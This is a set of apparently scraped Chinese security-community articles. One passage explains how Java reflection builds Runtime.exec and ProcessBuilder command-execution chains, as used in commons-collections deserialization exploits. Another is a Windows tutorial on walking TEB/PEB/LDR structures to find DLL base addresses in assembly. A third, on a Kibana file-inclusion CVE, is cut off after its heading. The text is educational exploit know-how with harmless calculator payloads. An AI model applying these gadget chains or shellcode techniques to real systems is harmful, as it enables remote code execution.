public static void main(String[] a){
fruit f=Factory.getInstance("Orange");
f.eat();
}
}
如果我们想要添加新的水果，就需要
* 添加新的水果类
* 修改Factory
* 在main函数中使用新的水果类
修改为反射机制的代码：
interface fruit{
public abstract void eat();
}
class Apple implements fruit{
public void eat(){
System.out.println("Apple");
}
}
class Orange implements fruit{
public void eat(){
System.out.println("Orange");
}
}
class Factory{
public static fruit getInstance(String ClassName){
fruit f=null;
try{
f=(fruit)Class.forName(ClassName).newInstance();
}catch (Exception e) {
e.printStackTrace();
}
return f;
}
}
class hello{
public static void main(String[] a){
fruit f=Factory.getInstance("Reflect.Apple");
if(f!=null){
f.eat();
}
}
}
这时候如果我们需要添加水果，只需要
* 添加水果类
* 在main函数中使用新的水果类即可
那么好像可以看出一点问题，如果传入的类名可控，再加上一些办法，那就不是可以调用任意类，去运行系统命令了呢。
### 反射机制的方法
列出在实际利用中重要的方法例子：
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
* ឴获取类： **forName**
* 获取类下的函数： **getMethod**
* 执行类下的函数： **invoke**
* 实例化类的对象： **newInstance**
以下一步步使用反射机制实现`Runtime.getRuntime().exec("calc.exe");`这个语句
* getRuntime():其实就是Runtime类获取对象的方式，等于new一个Runtime类。之所以封装成一个函数是为了不调用一次建立一个对象，只获取一个对象来执行操作。
* exec():调用exec函数
* calc.exe：调用计算器程序
反射机制的执行顺序跟直接调用有些差别，一步步来
#### forName
获得一个class对象( **java.lang.Class** )有三种方法：
1. `obj.getClass()`:如果上下文中存在某个类的实例obj，那么我们可以直接通过`obj.getClass()`来获取它的类。
1. 假如obj是实例：获取该实例的class（如Runtime.getRuntime().getClass()结果就是class java.lang.Runtime类）（此处类的意思实际上时class这个类的对象）
2. 假如obj是类：获取到java.lang.Class类（class这个类的对象）
2. `Test.class`:Test是一个已经加载的类，想获取它的java.lang.Class对象，直接拿取class参数即可。（这不是反射机制）
3. `Class.forName`:如果知道类的名字，可以直接使用forname来获取。
forName两种使用形式
Class<?> forName(String name)
//name:class名称
Class<?> forName(String name, **boolean** initialize, ClassLoader loader)
//name:class名称
//initialize：是否进行“类初始化”
//loader：加载器
//第一种调用形式等同于第二种，其实就是第二种形式的封装，默认进行"类初始化”，默认加载器根据类名（完整路径）来加载
Class.forName(className)
Class.forName(className, true, currentLoader)
**类初始化** ：
类初始化不等于类的实例化，举个例子：
public class TrainPrint {
//初始块
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
//静态初始块
static {
System.out.printf("Static initial %s\n", TrainPrint.class);
}
//构造函数
public TrainPrint() {
System.out.printf("Initial %s\n", this.getClass());
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Class.forName("TrainPrint");
}
// Static initial class TrainPrint
public static void main(String[] args) throws IOException, ClassNotFoundException {
TrainPrint test= new TrainPrint();
}
// Static initial class TrainPrint
// Empty block initial class TrainPrint
// Initial class TrainPrint
类的实例化：`静态初始块`->`初始块`->`构造函数`
类的初始化：`静态初始块`
具有父类的类的实例化：`父类静态初始块`->`子类静态初始块`->`父类初始块`->`父类构造函数`->`子类初始块`->`子类构造函数`
具有父类的类的实例化：`父类静态初始块`->`子类静态初始块`
> 以上对于类初始化的说明其实就是说，单独一个Class.forName(),在类静态初始块可控的情况下，可以执行恶意代码。
**调用内部类** :
Java的普通类 C1 中支持编写内部类 C2 ，而在编译的时候，会生成两个文件： C1.class 和
C1$C2.class，我们可以把他们看作两个无关的类。
`Class.forName("C1$C2")`可以调用这个内部类。
我们可以通过`Class.forName("java.lang.Runtime")`来获取类（java.lang.Runtime是Runtime类的完整路径）
#### getMethod
getMethod 的作用是通过反射获取一个类的某个特定的 **公有** 方法。
而Java中支持类的重载，我们不能仅通过函数名来确定一个函数。所以，在调用 getMethod 的时候，我们需要传给他你需要获取的函数的参数类型列表，如下：
`Class.forName("java.lang.Runtime").getMethod("exec", String.class)`
#### invoke
invoke方法位于Method类下，其的作用是传入参数，执行方法，
`public Object invoke(Object obj, Object... args)`
它的第一个参数是执行method的对象：
* 如果这个方法是一个普通方法，那么第一个参数是类对象
* 如果这个方法是一个静态方法，那么第一个参数是类（之后会提到，这里其实不用那么死板，这个）
它接下来的参数才是需要传入的参数。
由于我们的exec函数是一个普通方法，需要传入类对象，即`invoke(类对象，exec方法传入的参数)`
之前说到Runtime的类对象不能通过newInstance()来获取对象（class.newInstance等于new
class）,是因为Runtime的类构造函数是一个private构造函数，只能通过getRuntime方法返回一个对象。
获取类对象：`Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))`
(由于getRuntime是一个静态方法，invoke传入Runtime类，进行调用)
`invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))，"calc.exe")`
那么合成以上的操作：
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))，"calc.exe")
亲测可弹框,再简化一下：
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");
以上我们就完成了通过类内置的静态方法获取类的实例，进一步调用一个public方法。
但是假如一个类没有无参构造方法（即不能class.newInstance()），也没有单例模式（只存在一个实例）的静态方法（即不能像getRuntime一样获取实例），那我们该如何实例化这个类呢？
### 指定的构造方法生成类的实例
继续举一个演化成反射机制的执行命令payload的例子：
List<String> paramList = new ArrayList<>();
paramList.add("calc.exe");
ProcessBuilder pb = new ProcessBuilder(paramList);
pb.start();
可见，其构造函数是写入了一个字符串，不是无参构造方法，接下来我们会一步步进行转化。
`getConsturctor()`函数可以选定指定接口格式的构造函数(由于构造函数也可以根据参数来进行重载)，即：`getConsturctor(参数类型)`
选定后我们可以通过newInstance(),并传入构造函数的参数执行构造函数，即`newInstance(传入的构造函数参数)`。
ProcessBuilder有两个构造函数：
* `public ProcessBuilder(List<String> command)`
* `public ProcessBuilder(String... command)`(此处，String`...`这种语法表示String参数数量是可变的，与String[]一样)
分别执行构造方法获取实例的语句如下：
* `Class.forName("java.lang.ProcessBuilder").getConstructor(String.class).newInstance("calc.exe"))`
* `Class.forName("java.lang.ProcessBuilder").getConstructor(List.class).newInstance(Arrays.asList("calc.exe")))`
执行完构造方法获取实例之后，其实可以通过类型强制转化，进而执行start()函数，进行执行命令。
Class clazz = Class.forName("java.lang.ProcessBuilder");
( (ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")) ).start();
但实际情况下并不一定可以这样利用，所以继续使用反射机制调用start函数,start函数不是一个静态函数,需要传入类的实例：
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
亲测成功
另一种形式的构造函数的反射转换：
ProcessBuilder pb = new ProcessBuilder("calc.exe");//这个可以传入多个字符串
pb.start();
因为ProcessBuilder构造函数传入的参数其实不是一个字符串String.class类型，而是一个变长的字符串数组String[].class，所以我们应该如下调用。
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[]{"calc.exe"})).start();
但是实际上我们这样调用是会报错的，因为newInstance函数接受参数是一个`Object..`也就是Object数组，它会完美契合我们提供的String[]，剥去一层数组。
来看看之前的List形式构造函数的形式：
可见少了一层，List传入会被当做Object的第一项，而String[]传入，会直接被当作Object。
所以我们需要再加一层[]：
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
亲测可弹计算器。
### 执行私有方法
以上都是方法或构造方法是public函数，但是如果是私有方法，我们该如何调用？
之前我们用的都是getMethod、getConstructor，接下来需要使用getDeclaredMethod、getDeclaredConstructor：
* getMethod等方法获取的是当前类中所有公共方法，包括从父类继承的方法
* getDeclared等方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私有的方法，但从父类里继承来的就不包含了
之前说到Runtime的构造方式是一个私有方法，从而不能直接调用，那么接下来我们来调用Runtime的构造方法来获取一个实例来执行calc.exe：
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
在获取到私有方法后，通过`setAccessible(true)`可以打破私有方法访问限制，从而进行调用。
getDeclaredMethod、getDeclaredConstructor和getMethod、getConstructor使用方法是一致的，就不赘述了。
## 小结
那么我们已经通过反射机制，调用任意类的任意方法了。
具体的函数说明表格可以参考[简书](https://www.jianshu.com/p/9be58ee20dee)
## 从commons-collections回来的invoke性质补充说明
一直以来我们都看到这种反射机制的调用来获取Runtime类的实例：
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
看到这个例子，我们可能会固定思维的误解：
我们从哪个类中获取方法，在invoke中就应该传入哪个类或这个类的实例（上面说过，这个需要根据方法来定）
我们从源码来看一下Method类中的invoke函数的输入输出说明：
* @param obj the object the underlying method is invoked from//调用基础方法的对象
* @param args the arguments used for the method call//调用这个方法的传参
* @return the result of dispatching the method represented by//调用这个方法的返回结果
* this object on {@code obj} with parameters
来对照普通调用语句和反射语句之间的对应关系，这里前后两个class都是相同的Runtime class
那么讲道理一般的调用，默认我们的固定思维惯性，也不会有什么问题，因为选中一个类的方法自然是应该传入这个类的实例或这个类。
直到出现一些意外：
//不要把下面的语句当作反射机制，就当作Runtime.getRuntime()是一个普通函数调用
Class.forName("java.lang.Runtime").getMethod(...)
Class.forName("java.lang.Class").getMethod(...)
//好比有一个函数可以在两个class中调用
a.getMethod()
b.getMethod()
如上我们一直忽略了我们反射机制中调用的函数实际上可以在不同的class中调用，这一点在commons-collections中十分关键：
由于当时的环境
不允许我们得到`Class.forName("java.lang.Runtime").getMethod(...)`
只有`Class.forName("java.lang.Class").getMethod(...)`
那么我们可以得到以下途径进行变形：
* 用反射机制去调用反射机制中使用的函数getMethod
* 使用invoke传入的obj去指定getMethod的当前的调用环境（在实际代码执行中是this变量的区别）
看一看Class类中getMethod方法的接口
public Method getMethod(String name, Class<?>... parameterTypes)//<?>... 表示任意类型任意数量的Class数组
改成反射机制，得到getMethod这个方法
Method method1= Class.forName("java.lang.Class")
.getMethod("getMethod", new Class[] {String.class, Class[].class });//根据getMethod方法接口进行封装
指定obj：
//以下语句执行结果等同于Class.forName("java.lang.Runtime").getMethod(getRunime)
method1.invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
//用于对比：以下语句等同于Class.forName("java.lang.Class").getMethod(getRunime)
//method1.invoke(Class.forName("java.lang.Class"),"getRuntime",new Class[0]);
合起来就是
// 反射调用
Class.forName("java.lang.Runtime").getMethod("getRuntime")
// 经过变形的反射调用
Class.forName("java.lang.Class")
.getMethod("getMethod", new Class[] {String.class, Class[].class })//得到getMethod方法
.invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
现在我们只是以`Class.forName("java.lang.Class")`开头获取到了Runtime类下的getRuntime方法。还没有执行。
### invoke 静态方法的obj不那么严格
在调用invoke执行前，还需要讲另一个invoke非常神奇的特性，不那么严格校验的obj。
回顾之前总结的invoke传参规则：
> 它的第一个参数是执行method的对象obj：
>
> * 如果这个方法是一个普通方法，那么第一个参数是类对象
> * 如果这个方法是一个静态方法，那么第一个参数是类
> 它接下来的参数才是需要传入的参数。
>
传入的第一个参数其实不一定要是正确的类或者类对象!
看一下例子：
//main函数
Class.forName("a").getMethod("print").invoke(null);
//内部类：
class a{
public static void print(){
System.out.println(1);
}
}
按照规则，print函数是一个静态方法，实际上我们应该invoke传入一个a的类。但是以上代码的执行结果却是成功的：
但是print不是静态方法时就会执行失败：
这是因为invoke函数null抛出报错的机制导致的：
* @exception NullPointerException
* if the specified object is null and the method is an instance method. //obj为null，并且method是一个实例method
*/
@CallerSensitive
public Object invoke(Object obj, Object... args){
}
当method是一个普通函数时，传入obj不能为null，并且其类对象要与方法匹配
但是当method是一个静态函数时，就很随便了(可能是因为压根不会被用到吧)。
那么我们在调用getMethod的时候可不可以皮一下呢？
Method method = (Method) Class.forName("java.lang.Class")
.getMethod("getMethod", new Class[] {String.class, Class[].class })//得到getMethod方法
.invoke(null,"getRuntime",new Class[0]);//这里invoke传入null
报错自然是因为getMethod并不是static方法,所以不能为null了。
但是为什么getMethod不是static方法，但是invoke中却传入类而不是类实例呢........
我是没有搞懂这个问题....但是感觉是因为是反射机制的函数的问题。由于已经花了太多时间，就不在这里继续纠结了。
> 感谢蟠大佬，点醒了；其实是看p牛的反射篇产生的误解，上文中所说的类，其实也是一个实例。 **类实例** 是其他类的实例， **类**
> 实际上是Class.class这个类的实例。
> 这边之前的疑问是，getMethod不是静态方法而invoke中传入的是类而不是类实例。
>
> 实际上因为getMethod本来就是class类中的方法，而`Class.forName("java.lang.Runtime")`获取到的class类的实例
>
> 我们调用getMethod传入的不是之前的模糊类的概念，而是class类的实例（类实例），所以这里是没毛病的调用class类下的非静态方法，传入class类实例。
但是Runtime.getRuntime就不一样了：
Object object0 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.String"));
Object object1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
Object object2 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
突出一个随便，随性。
### 回来继续构造调用
上面我们只是获取到了getRuntime方法，我们还没有调用这个方法获取其Runtime对象
//普通调用形式
Runtime.getRuntime()
// 反射调用
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
// 经过变形的反射调用
Method method = (Method) Class.forName("java.lang.Class")
.getMethod("getMethod", new Class[] {String.class, Class[].class })//得到getMethod方法
.invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);//调用getMethod方法
//以上等于执行Class.forName("java.lang.Runtime").getMethod("getRuntime")
//调用Runtime.getRuntime函数，传入的obj根据上面的分析可以随便写
method.invoke(Class.forName("java.lang.Runtime"),new Object[0]);
method.invoke(null,new Object[0]);
method.invoke(Class.forName("java.lang.String"),new Object[0]);
至此，我们就换了一种方式去获取Runtime实例。
当然最后的getRuntime函数我们是直接反射调用的，在实际commons-collections利用中我们仍然需要跟得到getMethod一样用反射机制去获取invoke，然后再调用。
虽然在这里觉得1+1的问题为什么要1+1000-1000+1，兜兜转转挺傻乎乎的。但是在利用链的场景下，就会觉得：
卧槽....这个POC作者真是个人才。
## 参考
反射机制参考：
<https://www.cnblogs.com/wglIT/p/7590468.html>
<https://www.cnblogs.com/yrstudy/p/6500982.html>
P神-java安全漫谈-反射机制1（知识星球-代码审计）
P神-java安全漫谈-反射机制2（知识星球-代码审计）
P神-java安全漫谈-反射机制3（知识星球-代码审计） | 社区文章 |
# Windows调试艺术——利用LBR寻找dll基址
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
windows调试艺术主要是记录我自己学习的windows知识，并希望尽可能将这些东西在某些实际方面体现出来。
最近想写个自己的壳，但碰上了个大问题，如何定位在内存中各个DLL的加载基址呢？当然可以选择类似爆破的方式，但那未必太傻了，在翻阅了一些资料后发现了LDR链调试的方法，这实际上就是一种利用PEB关系链获得各个模块基址进而实现遍历其导出表的技术，通过这种技术我们可以轻易的在程序运行中获取到动态加载的api的实际地址进而实现各种各样的功能。恰好这又需要PEB、TEB等等的结构知识，就在此一并做个总结
ps：全过程均是32位程序，64位的offset略有不同
再ps：所有文中提到另外会写的……尽量不鸽（咕咕咕）
再再ps：PEB、TEB的相关内容资料确实过少，笔者自己做了很多的探索，所以不免有错误之处，希望有问题的地方大家能指出，共同进步
首先简单来看利用过程如下：
fs寄存器 -> TEB -> PEB -> PEB_LDR_DATA -> LIST_ENTRY ->LDR_DATA_TABLE_ENTRY -> dll_base
下面我们就一个一个的详细来分析一下
## fs寄存器
我们常常可以看到类似这样的语句，从fs中拿到了某个值，这样的语句让逆向初学者一头雾水
mov eax,dowrd ptr fs:[0x30]
我们可以试着用windbg来打印fs的值试试看它到底是个啥，r命令可以打印寄存器的值，而.formats可以把一个值的二进制啊十进制啊等各种形式都展示出来
发现是0x3b，如果你处于内核态，那你会发现fs是0x30，而且不管你怎么试你会发现它就是这俩值，实际上，这是对应到GDTR的一个值，在intel手册中我们可以发现玄机，图中index是对应的GDT或LDT的第几项，RPL是特权级，TI的0和1分别表示为GDTR和LDTR
我们这里就先来看看0x3b的情况，0x3b的16位如下，
0000000000111 | 0 | 11
---|---|---
index = 7 | TI =0 | RPL = 3
说明这是个Ring3级别（也就是用户态），要在GDT里找第七项，当然这都是为了分析，实际上windbg为我们提供了dg命令，可以直接帮我们Display
Selector
可以看到，7ffdc000实际上就是TEB，说明我们用户态的fs实际上就是TEB了，那刚才的fs:[30]也就是TEB结构体中的某个东西了，这个我们一会在说，先看看内核态的0x30又是什么情况
过程就不再重复了，只要将windbg切换到内核调试重复上面的过程即可，最后我们可以发现，指向的是一个叫做KPCR的结构，这个不再我们今天的讨论范围之内，只要知道它里面包含有TEB在内的很多重要的结构就行了
那我们又要想了，Ring3切换到Ring0应该是很常见的，为什么fs的指向会变化呢？实际上，只要是负责进入Ring0的函数，比如KiFastSystemCall、KiFastCallEntry
等等，都会涉及到对fs的操作，这里我们选取一段代码来实际看看
808696a1 6a00 push 0
808696a3 55 push ebp
808696a4 53 push ebx
808696a5 56 push esi
808696a6 57 push edi
808696a7 0fa0 push fs //原来的fs压栈保存
808696a9 bb30000000 mov ebx,30h
808696ae 668ee3 mov fs,bx //将fs的值赋为30
808696b1 64ff3500000000 push dword ptr fs:[0]
808696b8 64c70500000000ffffffff mov dword ptr fs:[0],0FFFFFFFFh
808696c3 648b3524010000 mov esi,dword ptr fs:[124h]
808696ca ffb640010000 push dword ptr [esi+140h]
808696d0 83ec48 sub esp,48h
808696d3 8b5c246c mov ebx,dword ptr [esp+6Ch]
退出Ring0时也是类似的，这里选择KiSystemCallExit函数来看看
80869945 8d6550 lea esp,[ebp+50h]
80869948 0fa1 pop fs //恢复之前的fs值
8086994a 8d6554 lea esp,[ebp+54h]
8086994d 5f pop edi
8086994e 5e pop esi
8086994f 5b pop ebx
80869950 5d pop ebp
80869951 66817c24088000 cmp word ptr [esp+8],80h
到这里我们对fs段寄存器的探索就到这里了，我们知道了在Ring3下它其实就是TEB，下一步我们就来探究TEB的相关内容
## TEB
TEB(Thread Environment
Block，线程环境块)，说白了就是存放线程信息的一个结构体，每个线程维护着自己的一个TEB，且可以通过FS寄存器直接根据offset提取信息，很是方便。
我们可以用windbg的dt命令来显示TEB的情况，因为内容过多所以就不再一一列举了
我们来看几个比较重要的内容，首先就是offset为0的TIB
### TIB（Thread Information Block，线程信息块）
我们同样可以利用windbg的dt来查看
* ExceptionList，即指向_EXCEPTION_REGISTRATION_RECORD结构的指针链表，和SEH相关，涉及到异常处理
* stackBase，该线程的stack地址
* stackLimit，该线程的stack的limit，实际上就是栈的结束位置
* self，即指向TEB的指针，在程序中看到的fs:[0x18]也就是拿到了TEB
### EnvironmentPointer
0x1c为环境指针，指向的就是环境表，大家一定记得main函数有三个参数，第三个就是环境表的地址，环境一般都是以下的固定格式
name = value
比如我们在配置java的时候会添加一个JAVA_HOME的环境name，一个路径作为环境的value，环境表就是这样的环境变量组成的表
### _CLIENT_ID
0x20的offset指向了这个结构体，也同样dt查看一下
UniqueProcess是当前进程的PID，而UniqueThread这是当前线程的TID
### ProcessEnvironmentBlock
指向的是PEB，在程序中常见的ptr
fs:[0x30]也就是拿到了PEB的地址，因为现在的windows已经有了地址随机化的功能，所以基本上都是用这种方式来拿到PEB的，有关PEB的东西我们接下来会细说
### ThreadLocalStoragePointer && TlsSlots && TlsExpansionSlots
这兄弟仨的偏移分别是0x58、0x1480、0x1780（备注：这里的offset是64位的），他们和线程本地存储（ThreadLocalStorage）有关，简写为TLS，TLS又可以细分为静态TLS和动态TLS，之后的我会专门总结这方面的知识。
ThreadLocalStoragePointer指向的是维护静态TLS数据的地址的指针，而TlsSlots则是存放动态Tls数据的slots数组，而当slots存放不下的时候（最多为0～63），这时候会分配新的内存来放置，TlsExpansionSlots就是指向这个新内存空间的指针
### LastErrorValue
offset为0x34，顾名思义也就是最后的错误。举个例子来理解，在病毒文件执行时一般会检查是否在当前环境下已经运行，病毒会调用CreateMutex创建互斥体并根据函数的执行结果来判断，这时就会通过fs寄存器拿到TEB结构下的LastErrorValue，如果value大于0的话说明互斥体创建错误，病毒已经在执行了，如果是0的话那就说明没有错误，开始执行病毒文件
### CountOfOwnedCriticalSections
offset为0x38，其作用是记录临界区的数量。所谓临界区（Critical
Section）是一种轻量级的同步机制，它和上面提到过的Mutex不同，Mutex是内核的同步对象，而临界区完全是用户态在维护的，所以它只能在一个进程内供线程同步使用，但也正因为不需要关心它在内核和用户态之间的切换，所以它的执行效率要比其他的同步机制要大大提高，关于这些同步机制，在以后的windows调试艺术中还会慢慢的给大家带来。
### CsrClientThread
offset为0x3c，其实和csrss（client service runtime
subsystem）客户服务运行子系统相关，在进行相关操作时会用它来记录父进程的PID，同样这部分不是这里的重点，以后有机会继续写这个系列的话会写到这方面
以上就是我会用到的TEB的内容，其余的部分有兴趣的可以自己再去研究
## PEB
当我们找到了TEB时实际上我们也就找到了PEB（Thread Environment
Block，线程环境块），通过FS:[0x30]我们就可以轻松的拿到PEB的地址，PEB和TEB类似，但它为我们提供的却是进程相关的信息，当然，要想用好PEB，还得深入探究一下它到底能为我们提供什么。
实际上PEB是一个进程内核对象，在没有开启随机化的情况下，它的地址在32位上就是0x7ffd7000，很明显是一个用户空间的可访问数据，当为了能在具体运行环境下拿到他的地址还是FS:[0x30]更为保险，当然也可以通过EPROCESS来访问，不过一是EPROCESS位于内核空间，访问需要Ring0权限，二来和要讨论的LDR调试也没关系，所以这里就不提了
### BeingDebugged &&NtGlobalFlag
第一个兄弟一看便知，是用来判断我们是否处于调试状态的，win32有个API叫做IsDebuggerPresent，就是通过拿到它来判断程序是不是处于被调试状态的，你可以用它来实现最最简单的反调试，下面就是函数的源码：
IsDebuggerPresent(VOID)
{
return NtCurrentPeb()->BeingDebugged;
}
那你可能又会想了，为什么这么简单，如果我们在调试过程中手动修改内存不就可以绕过了吗？当然不是，实际上BeingDebufgged被设置为了true会导致一系列的“连锁反应”，首先就是NtGlobalFlag会进行修改，然后RtlCreateHeap中会用RtlDebugCreateHeap创建调试堆，这个调试堆里可有很多平常没有的数据。人家照样能发现你。
### ProcessHeap && HeapSegmentReserve &&
HeapSegmentCommit&&NumberOfHeap&&MaximumNumberOfHeaps等等
这几个都和堆相关，要认识他们就必须要先对heap的产生有一定的了解
windows在创建一个新进程时，在用户态的初始化过程中会调用RtlCreateHeap来创建进程堆（process
heap）而它的句柄就会保存到ProcessHeap里，而HeapSegmentReserve就是进程堆的保留大小，默认为1m，HeapSegmentCommit是进程堆的初始提交大小，其默认值为两个内存页大小，X86系统中普通内存页的大小为4KB。实际使用中我们可以用GetProcessHeap这个函数来拿到堆的句柄，但实际上这个函数归根结底也是通过PEB的ProcessHeap字段拿到的。
NumberOfHeaps字段用来记录堆的数目，MaximumNumberOfHeaps也就是heap的最大数量，HeapDeCommitTotalFreeThreshold和HeapDeCommitFreeBlockThreshold则涉及到了堆的收缩和扩张问题
当然，堆是门复杂的学问，windwos的堆管理机制比起linux来说要繁琐得多，以后还是会专门总结的。
### Fls相关
Fls是涉及到纤程（fiber）的一系列字段，类比Tls相关的字段即可，纤程拥有独立的栈和寄存器，可以通过ConvertThreadToFiber将线程转换为纤程。纤程和线程最大的不同就是前者处于用户态，后者则是内核维护，简单说纤程就是我们掌握的线程。当年为了让UNIX的代码能够更快更正确（由于windows的内存管理机制较为复杂且牵扯到异常管理机制所以移植难以取得好的效果）的移植到windows平台上微软在操作系统中添加了fiber。
### Ldr
这个字段是要讨论的重点，LDR调试中的ldr也就是指这个字段，它作为指针指向了_PEB_LDR_DATA结构体，如下所示
nt!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr64 Void
+0x010 InLoadOrderModuleList : _LIST_ENTRY
+0x020 InMemoryOrderModuleList : _LIST_ENTRY
+0x030 InInitializationOrderModuleList : _LIST_ENTRY
前几个成员像是Length长度啊、Initialized是否初始化啊之类都非常简单，重要的是后三个，他们分别表示：
InLoadOrderModuleList; //模块加载顺序
InMemoryOrderModuleList; //模块在内存中的顺序
InInitializationOrderModuleList; //模块初始化装载顺序
他们本身也是结构体，即_LIST_ENTRY
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
可以看到成员还是结构体，很显然就是个双向链表，而这些指针又指向了LDR_DATA_TABLE_ENTRY
这个结构体结构体的第四个字段也就是DLL的加载基址，要特别注意，这个结构系统会为每个dll都维护一个，且由于构成了双向链表，我们可以轻易的通过一个dll找到下一个的基址，
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
到这里我们进行LDR调试的基础知识就差不多了，下面就该实战来利用LDR调试来获取各个dll的地址了
## LDR调试
我们可以根据上面的知识来先行来理一下思路
TEB+0x30 -> PEB
PEB+0x0c -> PEB_LDR_DATA
PEB_LDR_DATA -> LDR_DATA_TABLE_ENTRY
根据前面的学习，我们知道了PEB_LDR_DATA的一个结构体字段指向了LDR_DATA_TABLE_ENTRY，而之后LDR_DATA_TABLE_ENTRY用同样的结构体再指向下一个，下一个也用同样结构体的第二个成员指向上一个，形成了双向链表，为了理解方便，这里我们画图展示一下
那我们的思路就明确了，首先我们通过PEB_LDR_TABLE拿到第一个LDR_DATA_TABLE_ENTRY就可以通过offset找到dll
base，接着再用offset找到指向下一个的LDR_DATA_TABLE_ENTRY的指针Flink，就可以接着往下找，直到双链表再次指向最开始的地方，不说废话，动手操作一番
我们首先利用 windbg拿到PEB的地址
0:000> !peb
PEB at 002c7000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 00400000
Ldr 77b30c40
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 000c3200 . 000c37b0
Ldr.InLoadOrderModuleList: 000c32f8 . 000c46f0
Ldr.InMemoryOrderModuleList: 000c3300 . 000c46f8
Base TimeStamp Module
400000 000062e2 Jan 01 15:01:54 1970 C:UsersmacDesktopRE.exe
77a10000 C:WindowsSYSTEM32ntdll.dll
77220000 C:WindowsSystem32KERNEL32.DLL
757d0000 53015794 Feb 17 08:28:04 2014 C:WindowsSystem32KERNELBASE.dll
752e0000 0435cf49 Mar 28 20:55:37 1972 C:WindowsSystem32msvcrt.dll
windbg自己帮我们拿到了dll的加载基址，我们不去管它，自己继续调试
0:000> dd 000c32f8
000c32f8 000c31f0 77b30c4c 000c31f8 77b30c54
000c3308 00000000 00000000 00400000 00401280
一开始指向的应当是第一个LDR_DATA_TABLE_ENTRY，排除掉前三个结构体的6个sizeof(ptr)后，就是基址0x400000，显然就是原始模块加载基址，而第一个dword也就是Flink，第二个就是Blink，我们就跟着Flink接着往下找
0:000> dd 000c31f0
000c31f0 000c37a0 000c32f8 000c37a8 000c3300
000c3200 000c3b70 77b30c5c 77a10000 00000000
可以看到第二个LDR_DATA_TABLE_ENTRY的dll
base字段也就是77a10000，根据我们windbg刚才打印!PEB给我们的信息对照，可以发现就是ntdll的基址，同样在使用Flink，又可以找到下一个。
最后我们找到的是
0:000> dd 77b30c4c
77b30c4c 000c32f8 000c46f0 000c3300 000c46f8
77b30c5c 000c3200 000c37b0 00000000 00000000
可以看到就是一开始的LDR_DATA_TABLE_ENTRY的Blink，而dll
base字段已经是0了，这样我们就根据这个双向链表拿到了所有的dll的基址了，对照一开始weindbg提供给我们的，果然一点没错。
当然可以继续尝试其他两条链的情况，这里就不再详细展示了，需要注意的是InInitializationOrderModuleList在不同版本的操作系统可能会存在得到的链表dll顺序不同的情况，所以不建议使用。下面给出获得dll基址的汇编代码
mov ebx, fs:[ 0x30 ] // 拿到PEB
mov ebx, [ ebx + 0x0C ] // 拿到PEB_LDR_DATA
mov ebx, [ ebx + 0x0C ] // InLoadOrderModuleList1
mov ebx, [ ebx ] // InLoadOrderModuleList2
mov ebx, [ ebx ] // InLoadOrderModuleList3
mov ebx, [ ebx + 0x18 ] // 拿到dll base字段内容
## 总结
LDR链调试是一个很有意思的内容，它牵扯到了很多windows下的重要对象，如果只是去学习这项技术的话很容易，但是要搞清楚经过的每一个对象到底涉及到了其他的什么内容就很难了，不能只停留在这项技术的表面。 | 社区文章 |
# Elasticsearch 核心插件Kibana 本地文件包含漏洞分析（CVE-2018-17246）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
